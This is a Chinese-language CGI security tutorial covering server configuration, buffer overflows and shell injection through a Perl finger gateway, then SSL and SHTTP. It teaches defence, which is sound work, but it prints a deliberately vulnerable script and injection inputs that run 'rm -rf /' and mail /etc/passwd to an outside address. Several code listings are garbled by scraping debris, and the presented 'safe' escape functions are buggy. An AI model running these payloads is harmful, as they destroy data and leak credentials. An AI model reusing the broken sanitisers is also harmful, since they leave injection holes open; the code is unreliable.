CGI的安全(二)
發(fā)表時(shí)間:2024-06-09 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]缺省情況下,下面的全局選項(xiàng)這樣設(shè)置: Options Indexes FollowSymLinks 當(dāng)URL指定的目錄里沒(méi)有要查找的文件時(shí),Indexes允許你指定一個(gè)文件。缺省情況下,這個(gè)變量為index.html,通過(guò)srm.conf中的DirectoryIndex來(lái)指定,很符合我...
缺省情況下,下面的全局選項(xiàng)這樣設(shè)置:
Options Indexes FollowSymLinks
當(dāng)URL指定的目錄里沒(méi)有要查找的文件時(shí),Indexes允許你指定一個(gè)文件。缺省情況下,這個(gè)變量為index.html,通過(guò)srm.conf中的DirectoryIndex來(lái)指定,很符合我們的意圖。FollowSymLinks意指服務(wù)器會(huì)返回符號(hào)連接指向的數(shù)據(jù)。我沒(méi)看到這個(gè)特性的必要性,所以我禁止了它。現(xiàn)在,這一行看起來(lái)象這樣:
Options Indexes
如果我想在任何目錄中使CGI程序有效,我可以通過(guò)包含ExecCGI選項(xiàng)來(lái)設(shè)置:
Options Indexes ExecCGI
這一行,結(jié)合在srm.conf中的AddType指令,可以允許我通過(guò)在任何目錄中給所有的CGI程序添加.cgi的擴(kuò)展名來(lái)執(zhí)行一個(gè)CGI。
缺省情況下NCSA httpd的配置,通過(guò)在一個(gè)具有適當(dāng)?shù)膶傩院驮L問(wèn)限制的特定目錄中創(chuàng)建.htaccess文件使access.conf中的所有設(shè)置都可以被超越。在這種情況下,我不介意用戶改變它們的訪問(wèn)限制。然而,我不想賦予用戶在他們自己的目錄里執(zhí)行CGI和.htaccess文件的能力。
AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI
因此,我編輯access.conf來(lái)允許用戶超越除了選項(xiàng)外所有的設(shè)置:
AllowOverride FileInfo AuthConfig Limit
現(xiàn)在,我的服務(wù)器安全的配置了。我只允許在cgi-bin目錄中運(yùn)行CGI,并且使服務(wù)器嵌入指令完全無(wú)效。服務(wù)器以nobody用戶運(yùn)行,一個(gè)我的系統(tǒng)中不存在的用戶。我禁止了所有我不需要的特性,并且用戶不能超越這些年特殊的限制。想了解很多的其他的配置信息,包括詳盡的訪問(wèn)限制,請(qǐng)參照NCSA服務(wù)器說(shuō)明文件。
2.寫(xiě)出安全的CGI程序
假設(shè)你已經(jīng)使的你的計(jì)算機(jī)和Web服務(wù)器很安全了,那么你后面就應(yīng)該學(xué)會(huì)怎樣寫(xiě)出一個(gè)安全性很好的CGI程序。編寫(xiě)安全的CGI的原則和前面提到的相似:
A.你的程序只能實(shí)現(xiàn)你指定的功能。
B.不要給客戶額外的它不需要知道的信息。
C.不要相信客戶給你正確的信息。
關(guān)于第一條可能存在的安全隱患我在guestbook的例子中已經(jīng)說(shuō)明了。我提到了幾個(gè)可以揭露漏洞的常見(jiàn)的錯(cuò)誤,但是,你同樣應(yīng)該記�。耗銘�(yīng)當(dāng)考慮你所應(yīng)用的每一個(gè)函數(shù)的所有含義。
第二條是一般安全性原則的簡(jiǎn)單擴(kuò)展:系統(tǒng)之外的人對(duì)你的系統(tǒng)了解的越少,你的系統(tǒng)就越?jīng)]有可能被攻破。
最后一條原則只是一條很好的很重要的編程原則,但同樣也是安全性很好的一個(gè)。CGI程序應(yīng)該是安全可靠、健壯的。一個(gè)hacker可能做的第一件事是想盡一切辦法通過(guò)在你的CGI程序中不斷調(diào)整輸入來(lái)搞亂程序,進(jìn)而達(dá)到攻入計(jì)算機(jī)的目的。如果你的程序并不健壯,那么這時(shí),它或者會(huì)崩潰,或者會(huì)實(shí)現(xiàn)其它的功能(當(dāng)然這些功能是你不允許的)。這兩種可能性都是令人不快的。為了杜絕這種可能性,不要對(duì)你的客戶可能發(fā)送的信息格式或值作任何的假定。
大多數(shù)CGI程序的本質(zhì)是簡(jiǎn)單的輸入/輸出程序。它提取客戶端的說(shuō)明并返回 一些響應(yīng)。這種程序幾乎沒(méi)有風(fēng)險(xiǎn)(當(dāng)然也會(huì)出現(xiàn)漏洞,后面你會(huì)看到)。因?yàn)镃GI程序并不對(duì)輸入感興趣,沒(méi)有什么錯(cuò)誤可能發(fā)生。然而,一旦你的程序利用輸入啟動(dòng),可能回調(diào)用其他的程序,寫(xiě)文件,或者做一些功能更強(qiáng)大的而非簡(jiǎn)單返回輸出的事情,那么你就會(huì)冒引入安全漏洞的風(fēng)險(xiǎn)。通常,功能是直接和安全風(fēng)險(xiǎn)成比例的。
2-1.語(yǔ)言的風(fēng)險(xiǎn)性
不同的語(yǔ)言有其與生俱來(lái)的安全風(fēng)險(xiǎn)。任何語(yǔ)言都可以編寫(xiě)安全的CGI程序,但是你必須注意每個(gè)語(yǔ)言的怪癖(急轉(zhuǎn))。這里,我只討論C和Perl,但是它們的有些特性并不適用于其它語(yǔ)言。想得到其他語(yǔ)言的指定信息,請(qǐng)參照適當(dāng)?shù)奈募?nbsp;
在前面的章節(jié)我們學(xué)到,一般來(lái)說(shuō),編譯CGI程序比解釋腳本更可取。編譯程序有兩個(gè)優(yōu)勢(shì):首先,你不需要有服務(wù)器可理解的解釋器;其次,程序的源文件是不可訪問(wèn)的。注意,像Perl一樣的傳統(tǒng)的解釋型語(yǔ)言可以被編譯成二進(jìn)制形式。(關(guān)于如何在Perl中實(shí)現(xiàn),請(qǐng)參閱Larry WaRandall Schwartz 的《Perl編程》)從安全立場(chǎng)來(lái)說(shuō),編譯的Perl程序和編譯的C程序一樣好用。
像C這樣比較低級(jí)的語(yǔ)言會(huì)出現(xiàn)被稱(chēng)為buffer overflow的問(wèn)題。C語(yǔ)言并沒(méi)有處理字符串的好的內(nèi)置的方法。通常的方法或者是聲明一個(gè)字符數(shù)組或者指向字符的指針。很多人傾向于前一種方法,因?yàn)樗幊瘫容^簡(jiǎn)單。思考一下下面兩個(gè)功能等價(jià)的程序代碼。
程序1. 在C語(yǔ)言中使用數(shù)組定義字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char buffer[80];
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序2. 在C語(yǔ)言中使用指針定義字符串.
#include
#include
#include
#define message "Hello, world!"
int main()
{
char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序1比程序2簡(jiǎn)單得多,而且在這個(gè)特定的例子里,兩者都可以很好的工作。我們假設(shè)有這樣一個(gè)例子:我已經(jīng)知道了我處理的字符串的長(zhǎng)度,因此,我可以定義一個(gè)適當(dāng)?shù)臄?shù)組長(zhǎng)度。但是,在CGI程序里,你不知道輸入的字符串會(huì)有多長(zhǎng)。舉個(gè)例子,如果信息的長(zhǎng)度大于80 char,那么程序1會(huì)崩潰(即我們通常說(shuō)的"溢出")。
這被稱(chēng)為buffer overflow,聰明的hacker就會(huì)利用這個(gè)來(lái)遠(yuǎn)程執(zhí)行命令。這個(gè)緩沖溢出的bug存在于NCSA httpd v1.3中。這是為什么一個(gè)網(wǎng)絡(luò)(或CGI)程序員需要更細(xì)心地編程的很好的例子。在一個(gè)單用戶的機(jī)器里,緩沖溢出只能造成系統(tǒng)崩潰。在崩潰的單用戶計(jì)算機(jī)中沒(méi)有必要利用緩沖溢出來(lái)執(zhí)行程序,因?yàn)榇蟾拍阋呀?jīng)執(zhí)行了你需要的任何程序(除了公共終端)。然而,在網(wǎng)絡(luò)系統(tǒng)中,一個(gè)崩潰的CGI程序遠(yuǎn)不是這么簡(jiǎn)單,它會(huì)成為未經(jīng)授權(quán)的用戶進(jìn)入的后門(mén)。
程序2中的代碼解決了兩個(gè)問(wèn)題。首先,它動(dòng)態(tài)的分配了存儲(chǔ)字符串的足夠的空間。其次,注意我將信息的長(zhǎng)度加了1。這樣,我實(shí)際上分配了比字符串長(zhǎng)度多1字節(jié)的內(nèi)存。這就保證字符串不會(huì)是0。因?yàn)槟繕?biāo)字符總是會(huì)為額外的字符留有空間,strcpy()函數(shù)在目標(biāo)字符串的最后添加了空字符,strcpy()放置了空字符。沒(méi)有理由認(rèn)為傳送給CGI腳本的字符串會(huì)是空字符,因此,為了以防萬(wàn)一,我在最后留了1字節(jié)的空間。
倘若你的C程序避免了像緩沖溢出這樣的問(wèn)題,那么你就可以寫(xiě)出安全的CGI程序。然而,這是艱苦的工作,特別是當(dāng)你的CGI很大更復(fù)雜的時(shí)候。這些問(wèn)題將迫使你花費(fèi)比一般的CGI任務(wù)更多的時(shí)間來(lái)思索低級(jí)語(yǔ)言的設(shè)計(jì)工作�;谶@個(gè)原因,你可能更喜歡高級(jí)一點(diǎn)的編程語(yǔ)言(如Perl)。
然而,具有高級(jí)特點(diǎn)的Perl有著冒失的一面。盡管你能假設(shè)Perl會(huì)正確地處理字符串的存儲(chǔ),但當(dāng)Perl使用你并不注意的高級(jí)一點(diǎn)的語(yǔ)法做一些事情時(shí),很可能會(huì)有危險(xiǎn)。在下一節(jié)中你會(huì)更清楚的了解到。
2-2.shell危險(xiǎn)性
很多的CGI任務(wù)都可以使用其他的程序很容易的實(shí)現(xiàn)。例如,你要寫(xiě)一個(gè)CGI的郵件網(wǎng)關(guān),完全使用CGI程序來(lái)完成執(zhí)行郵件的發(fā)送代理是很愚蠢的行為。更實(shí)用的方法是將數(shù)據(jù)通過(guò)管道傳送到一個(gè)存在的郵件傳送代理程序,比如sendmail,然后讓sendmail來(lái)完成剩下的工作。這種習(xí)慣很好并值得鼓勵(lì)。
安全風(fēng)險(xiǎn)依賴于你怎樣調(diào)用這些外部的程序。完成這項(xiàng)工作在Perl和C中有很多函數(shù)可以實(shí)現(xiàn)。它們中很多函數(shù)通過(guò)調(diào)用shell,然后讓shell來(lái)執(zhí)行這個(gè)命令。這些命令被列在表1中,如果你使用了它們中的一個(gè),那么你就使得Unix hells在攻擊下顯得很脆弱。
表1. C和Perl中可以調(diào)用shell的函數(shù).
Perl 函數(shù) C 函數(shù)
system(’...’) system()
open(’ ...’) popen()
exec(’...’)
eval(’...’)
`...`
為什么shell很危險(xiǎn)呢?有很多的非數(shù)字的字符可以通過(guò)shell轉(zhuǎn)換成特殊的字符。這些字符被稱(chēng)為元字符(譯者注:這里我將metacharacter譯為元字符),見(jiàn)表2。
表2. Shell metacharacters.
; < > * ` & $
! # ( ) [ ] : {
} ’ "
每一個(gè)這種字符在shell中都起著特殊的作用。例如,假如你想利用finger來(lái)查詢一臺(tái)計(jì)算機(jī)并將結(jié)果存儲(chǔ)到一個(gè)文件中,你可以在命令行中如下輸入:
finger @fake.machine.org > results
這會(huì)使用finger查詢主機(jī)fake.machine.org并將查詢結(jié)果保存到一個(gè)文本文 件results中。這個(gè)>字符在這里是一個(gè)重定向符。如果你要實(shí)際地使用>字符——例如,你想將它回顯到屏幕上——你將需要在這個(gè)字符前加一個(gè)反斜杠。舉個(gè)例子,下面將向屏幕輸出一個(gè)符號(hào)>:
echo \>
這被稱(chēng)為轉(zhuǎn)義字符(escaping or sanitizing the character string)。
hacker是怎樣利用這個(gè)作為他(她)的優(yōu)勢(shì)的?觀察以下程序3中用perl編寫(xiě)的finger程序。這個(gè)程序所做的是允許用戶查詢一個(gè)用戶和一臺(tái)主機(jī)的詳細(xì)信息,并且,這個(gè)CGI可以查詢用戶并顯示結(jié)果。
[page_break]程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require ’cgi-lib.pl’;
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看,這個(gè)程序好象沒(méi)有什么害處。因?yàn)槭怯肞erl編寫(xiě)的,不會(huì)有bufferoverflow的危險(xiǎn)。我使用了finger的完全路徑,這樣gateway不會(huì)被偽造的finger程序所欺騙。如果輸入是一個(gè)不合適的格式,那么gateway將返回一個(gè)錯(cuò)誤而不會(huì)被人利用。
但是,如果我嘗試如下的輸入會(huì)怎樣呢(如圖1所示)
[email protected];/bin/rm -rf /
FINGER GATEWAY
___________________________________
User@Host:
[email protected] ; /bin/rm -rf /
-----------------------------------
______________
Submit Query
--------------
(圖1)
(譯者注:原圖是一個(gè)瀏覽器,我僅畫(huà)出HTML頁(yè)中的部分。)
我們來(lái)看一下下面的程序行會(huì)如何處理這樣的輸入:
print `/usr/bin/finger $in`
由于你使用了向后的標(biāo)記,首先它會(huì)執(zhí)行一個(gè)shell。然后它將執(zhí)行如下的命令:
/usr/bin/finger
[email protected] ; /bin/rm -rf /
這將會(huì)怎樣呢?假設(shè)在命令行像這樣輸入。它會(huì)刪除所有的文件和目錄,從root的目錄開(kāi)始。我們需要sanitize這個(gè)輸入來(lái)render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函數(shù)可以很容易的實(shí)現(xiàn)。(C中的這些等價(jià)函數(shù)在表5中;它們來(lái)自cgihtml的C庫(kù)。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\ `&\$!?#\(\)\[\]\:’"\\])/\\$1/g;
return @_;
}
程序5. C語(yǔ)言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters. should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) { > strlen(str); i++) { >
printf("i = %d; j = %d\n",i,j);
switch (str[i]) {
case ’ ’: case ’&’: case ’;’: case ’(’: case ’)’: case ’<’: >’: >
case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’:
case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’:
case ’`’: case ’{’: case ’}’:
new[j] = ’\\’;
j++;
break;
default:
break;
}
new[j] = str[i];
j++;
}
new[j] = ’\n’;
return new;
}
這將返回一個(gè)帶有跟隨在\后的shell轉(zhuǎn)義字符的字符串。這個(gè)修正的finger.cgi網(wǎng)關(guān)在程序6中。
程序6. 一個(gè)安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require ’cgi-lib.pl’;
sub escape_input {
@_ =~ s/([;<>\*\ `&\$!#\(\)\[\]\:’"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in)`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
這次,如果你使用前述相同的輸入,將派生出一個(gè)shell,它將嘗試這樣執(zhí)
行:
/usr/bin/finger
[email protected] \: /bin/rm -rf /
這樣,那個(gè)惡意的企圖將無(wú)法生效.它不再試圖刪除系統(tǒng)中所有的目錄,而是嘗試finger用戶
[email protected],:,/bin/rm,-rf和 /。由于后面的字符組合未必是你的系統(tǒng)中的用戶,因此可能會(huì)返回一個(gè)錯(cuò)誤。
記住幾個(gè)問(wèn)題。首先,如果你的Web服務(wù)器正確的配置了(例如,以非root 身份運(yùn)行),那么,刪除文件系統(tǒng)中的所有內(nèi)容的企圖不會(huì)成功。(如果服務(wù)器以root身份運(yùn)行,那么潛在的危害將是不可估量的。千萬(wàn)不要這樣做!)另外,用戶還假定rm命令在/bin目錄中。他或她假定了rm在這個(gè)路徑中。然而,所這些只是對(duì)大多數(shù)的Unix系統(tǒng)的樂(lè)觀的假設(shè),并不是完全適用的。在一個(gè)hrooted系統(tǒng)環(huán)境中,這個(gè)目錄中并沒(méi)有rm命令。那么hacker的努力將是徒勞的。從理論上說(shuō),通過(guò)安全防范和正確配置你的Web服務(wù)器,你可以將潛在的危害降低到幾乎為0,即使是書(shū)寫(xiě)了糟糕的腳本。
然而,你沒(méi)有理由在編寫(xiě)CGI程序時(shí)可以掉以輕心。事實(shí)上,大多數(shù)的Web環(huán)境并不是chrooted的,僅僅是因?yàn)樗沽撕芏嗳诵枰赪eb服務(wù)器中需要的靈活性。即使服務(wù)器不是以root身份運(yùn)行,用戶不能將文件系統(tǒng)中的文件全部刪除,一些人可以僅僅通過(guò)如下的輸入,將/etc/passwd文件寄給
[email protected]作為可能的攻擊途徑:
[email protected] ; /bin/mail
[email protected] < tc/passwd =""> >
我可以通過(guò)操縱這個(gè)漏洞來(lái)干很多事情,即使是在一個(gè)配置良好的環(huán)境中。如果你在一個(gè)簡(jiǎn)單的CGI程序中容許一個(gè)漏洞從你的身邊溜過(guò),你怎么能肯定你正確并安全的配置了你復(fù)雜的Unix系統(tǒng)和Web服務(wù)器?
答案是你不能。你最好打賭弄清楚你的CGI程序是安全的。在shell中運(yùn)行它之前不輕易接受輸入是很容易對(duì)付的事情,它還是CGI編程中最常見(jiàn)的問(wèn)題之一。
幸運(yùn)的是,Perl擁有一個(gè)捕捉潛在感染的變量的很好的機(jī)制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),腳本將在潛在感染的變量傳遞給shell命令處中止。這將幫助你在開(kāi)始實(shí)際使用CGI程序時(shí)捕捉到所有的潛在感染的變量的例子。
注意到Perl擁有比C更多的派生shell的函數(shù)。這并不是顯而易見(jiàn)的,即使是對(duì)于中級(jí)的Perl程序員,在執(zhí)行程序前向后標(biāo)記派生出一個(gè)shell。這是高級(jí)語(yǔ)言的風(fēng)險(xiǎn)抉擇;因?yàn)槟悴皇呛苊鞔_地知道它做什么,所以你并不清楚一個(gè)函數(shù)會(huì)產(chǎn)生怎樣的安全漏洞。
如果你避免了使用調(diào)用shell的函數(shù),那么你不需要?jiǎng)h除敏感的輸入。在Perl 語(yǔ)言中,你可以通過(guò)使用system()或者exec()函數(shù)來(lái)封裝每一個(gè)參數(shù)。例如, 如下的調(diào)用很安全的$input:
system("/usr/ucb/finger",$input);
然而,在你的finger gateway的情況下,這個(gè)特點(diǎn)是毫無(wú)用處的,因?yàn)槟阋幚韋inger命令的輸出,這個(gè),除了你使用system函數(shù)外沒(méi)有方法可以捕獲。
在C語(yǔ)言中,你也可以通過(guò)使用exec一類(lèi)的函數(shù)來(lái)直接執(zhí)行程序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C語(yǔ)言中等價(jià)于Perl中的 system()函數(shù)。你使用哪一個(gè)exec函數(shù)以及如何使之按你的需要執(zhí)行:這些細(xì)節(jié)已經(jīng)超出了本書(shū)的范圍。
3.安全處理
我前面簡(jiǎn)要討論的只是安全問(wèn)題的一個(gè)方面�,F(xiàn)在流行的CGI應(yīng)用程序傾向于 收集信用卡信息。數(shù)據(jù)收集是CGI應(yīng)用程序的一個(gè)簡(jiǎn)單的任務(wù),但是敏感信息的收集需要一個(gè)將信息從瀏覽器傳送給服務(wù)器和CGI程序的安全途徑。
舉個(gè)例子,假設(shè)我要通過(guò)Internet來(lái)銷(xiāo)售書(shū)。我可能在瀏覽器上建立一個(gè)表單,允許要購(gòu)書(shū)的顧客通過(guò)表單提交它的個(gè)人信息和信用卡號(hào)碼。受到這些信息后,我會(huì)將它們存儲(chǔ)到我的計(jì)算機(jī)作為商業(yè)記錄。
如果有人侵入我的商業(yè)計(jì)算機(jī),那么他可能會(huì)訪問(wèn)存放顧客信息和信用卡號(hào)碼的機(jī)密數(shù)據(jù)。為了避免這種情況,我會(huì)審查我的計(jì)算機(jī)配置安全了,并確定用來(lái)接受表單的CGI腳本不會(huì)被惡意的操縱。換句話說(shuō),我,作為計(jì)算機(jī)的系統(tǒng)管理員和CGI程序員,要盡力控制住第一個(gè)問(wèn)題:防止信息直接從我的計(jì)算機(jī)中被竊取。
然而,怎樣防止當(dāng)信息由客戶端發(fā)往服務(wù)器過(guò)程中有人中途竊取呢?記住信息怎樣由Web服務(wù)器傳送到CGI程序了嗎?信息通過(guò)網(wǎng)絡(luò)由瀏覽器先傳送到服務(wù)器,然后服務(wù)器將信息傳送給CGI程序。這些信息可能在由客戶機(jī)傳送到服務(wù)器時(shí)被中途竊取(如圖2)。注意,為了保護(hù)信息使其不會(huì)被中途竊取,必須在客戶和服務(wù)器之間進(jìn)行加密。當(dāng)然,如果你的客戶機(jī)不能識(shí)別的話,你不能執(zhí)行特定CGI的加密。
_______________ ______________
瀏覽器 表單輸入
(用戶提交表單; —————————————>
瀏覽器將其以通 <————————————— 服務(wù)器 ="" ="">—————————————>
常文本發(fā)送出去) 分析CGI輸出
--------------- --------------
表 /\CGI
不懷好意的hacker 單 輸
輸 出
入
\/
_____________
CGI
-------------
(圖2)
More: Java,CGI和安全處理
由于Web處理的特點(diǎn),使用你獨(dú)有的單獨(dú)通過(guò)CGI程序?qū)崿F(xiàn)的安全處理協(xié)議的唯一途徑是:在表單信息通過(guò)瀏覽器傳送到服務(wù)器之前將其加密。這個(gè)方案如圖3。
_______________ ______________
瀏覽器 加密表單輸入
用戶提交表單; —————————————>
瀏覽器將輸入加 <————————————— 服務(wù)器 ="" ="">—————————————>
密,發(fā)送加密信息 分析CGI輸出
--------------- --------------
加 /\CGI
阻止 修補(bǔ) 密 輸
惡意 再次 輸 出
hacker 阻止 入 (解密)
\/
_____________
CGI
解密處理輸入,
發(fā)出響應(yīng)。
-------------
(圖3)
之前,發(fā)展你自己的安全處理協(xié)議幾乎是不可能的。感謝Java這樣的語(yǔ)言,最近在客戶端處理所作的創(chuàng)新,使得這個(gè)發(fā)展變成可能。
方法是產(chǎn)生一個(gè)標(biāo)準(zhǔn)HTML格式擴(kuò)展的Java接口。當(dāng)Java的提交按鈕被選擇時(shí),java Applet會(huì)在利用標(biāo)準(zhǔn)的POST HTTP請(qǐng)求將它發(fā)送到Web服務(wù)器前先將值加密
(參照?qǐng)D4)
Web瀏覽器
_______________ ______________
JAVA APPLET 加密數(shù)據(jù)
表單;用戶提交 —————————————>
數(shù)據(jù),APPLET加密 <————————————— 服務(wù)器 ="" ="">—————————————>
數(shù)據(jù),發(fā)給服務(wù)器 CGI輸出
--------------- --------------
加 /\CGI
密 輸
數(shù) 出
據(jù)
\/
________________
CGI
使用與APPLET相同
方案解密數(shù)據(jù)并處
理,發(fā)出解密響應(yīng).
----------------
(圖4)
使用Java作為客戶機(jī)來(lái)發(fā)送和接收加密的數(shù)據(jù)將允許你使用自己定制的加密方案,而不需要一個(gè)昂貴的商業(yè)服務(wù)器。
因此,在網(wǎng)絡(luò)上安全保密地傳送數(shù)據(jù)信息需要調(diào)整瀏覽器和服務(wù)器之間的通信路徑,有一些是不能僅僅靠CGI就能夠控制的。目前有兩種加密客戶機(jī)/服務(wù)器信息處理的建議:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分別由Netscape和EIT(Enterprise Integrations Technology)提議。關(guān)于這點(diǎn),目前還不清楚哪一個(gè)將成為標(biāo)準(zhǔn);很多公司在他們的服務(wù)器中兩種都采用了。因此,知道如何在這兩者中編寫(xiě)CGI程序是很有用的。
3
-1.SSL
SSL是一個(gè)協(xié)議獨(dú)立的加密方案,在網(wǎng)絡(luò)信息包的應(yīng)用層和傳輸層之間提供了安全的通道(參照?qǐng)D5)。簡(jiǎn)單說(shuō)來(lái),就是HTML或CGI經(jīng)過(guò)了幕后的
服務(wù)器進(jìn)行了加密處理,然而對(duì)HTML和CGI的作者來(lái)說(shuō)是透明的。
_______________ ____________________
瀏覽器 傳輸層加密數(shù)據(jù) 服務(wù)器
(發(fā)出標(biāo)準(zhǔn)的HTTP —————————————> (解密數(shù)據(jù);解釋成標(biāo)準(zhǔn)
請(qǐng)求) <————————————— 請(qǐng)求并發(fā)出標(biāo)準(zhǔn)響應(yīng)) ="" ="">—————————————>
---------------- 傳輸層加密數(shù)據(jù) --------------------
(圖5)
因?yàn)榭蛻舳撕头⻊?wù)器端網(wǎng)絡(luò)程序處理加密過(guò)程,幾乎你的所有的CGI腳本不需要進(jìn)行安全事務(wù)的修正。有一個(gè)顯著的例外。一個(gè)nph(no-parse-header)的CGI程序繞過(guò)服務(wù)器而直接與客戶端進(jìn)行通信。因此,nph的CGI腳本不會(huì)經(jīng)過(guò)加密處理,因?yàn)樾畔⑽吹玫郊用�。受此影響的一個(gè)值得注意的CGI應(yīng)用程序是Netscape服務(wù)器推動(dòng)的動(dòng)態(tài)實(shí)現(xiàn)(Netscape server-push animations)。我懷疑這是主要應(yīng)該值得注意的,然而,更有可能因?yàn)橐踩膫鬏斆舾行畔⒍鵂奚?yè)面中的動(dòng)畫(huà)。
3-2.SHTTP
SHTTP采用一種和SSL不同的方法。它通過(guò)擴(kuò)展HTTP協(xié)議(應(yīng)用層)來(lái)運(yùn)作,優(yōu)于一個(gè)較低層。因此,盡管SSL可以應(yīng)用于所有的網(wǎng)絡(luò)服務(wù),然而SHTTP是一個(gè)特定的Web協(xié)議。
另外,還有其它的優(yōu)點(diǎn)。作為HTTP的擴(kuò)展集,SHTTP全兼容于HTTP和SHTTP的瀏覽器和服務(wù)器。為了使用SSL,你必須有一個(gè)支持SSL的瀏覽器和服務(wù)器。另外,SHTTP是一個(gè)更靈活的協(xié)議。例如,這個(gè)服務(wù)器可以指定首選的加密方案。
SHTTP處理依賴于附加的HTTP頭。因此,如果你想讓你的CGI程序采用SHTTP的加密處理,你需要包含適當(dāng)?shù)念^。例如,替換簡(jiǎn)單返回HTTP頭。
Content-type:text/html
當(dāng)一個(gè)SHTTP服務(wù)器從CGI應(yīng)用程序中收到這個(gè)信息,它會(huì)知道在將其發(fā)送到瀏覽器之前將信息加密。一個(gè)非SHTTP的瀏覽器將忽略附加的頭。
關(guān)于使用SHTTP的更多的信息,請(qǐng)參照SHTTP的說(shuō)明書(shū):
http://www.commerce.net/information/standards/drafts/shttp.txt
4.概要
安全是你在處理網(wǎng)絡(luò)應(yīng)用程序(例如WWW)中不可避免的一件事。如果你的Web服務(wù)器沒(méi)有安全的配置,那么編寫(xiě)安全的CGI應(yīng)用程序就不是非常有用的了。一個(gè)正確配置的Web服務(wù)器,從另一方面講,可以最小限度的減少因?yàn)樵愀獾腃GI腳本而帶來(lái)的損害。
大體上,我們應(yīng)該記住下面的原則:
A.你的程序應(yīng)當(dāng)只能提供你指定的服務(wù)。
B.不到必要的時(shí)候不暴露任何有關(guān)你的服務(wù)器的信息。
C.如果有人成功的闖入你的系統(tǒng),應(yīng)最小限度的減少損害。
D.確定你的應(yīng)用程序是安全可靠并且嚴(yán)密的。
當(dāng)你編寫(xiě)CGI程序時(shí),要特別注意你的編程語(yǔ)言的局限性(或不足)以及傳遞給shell的不確定的變量。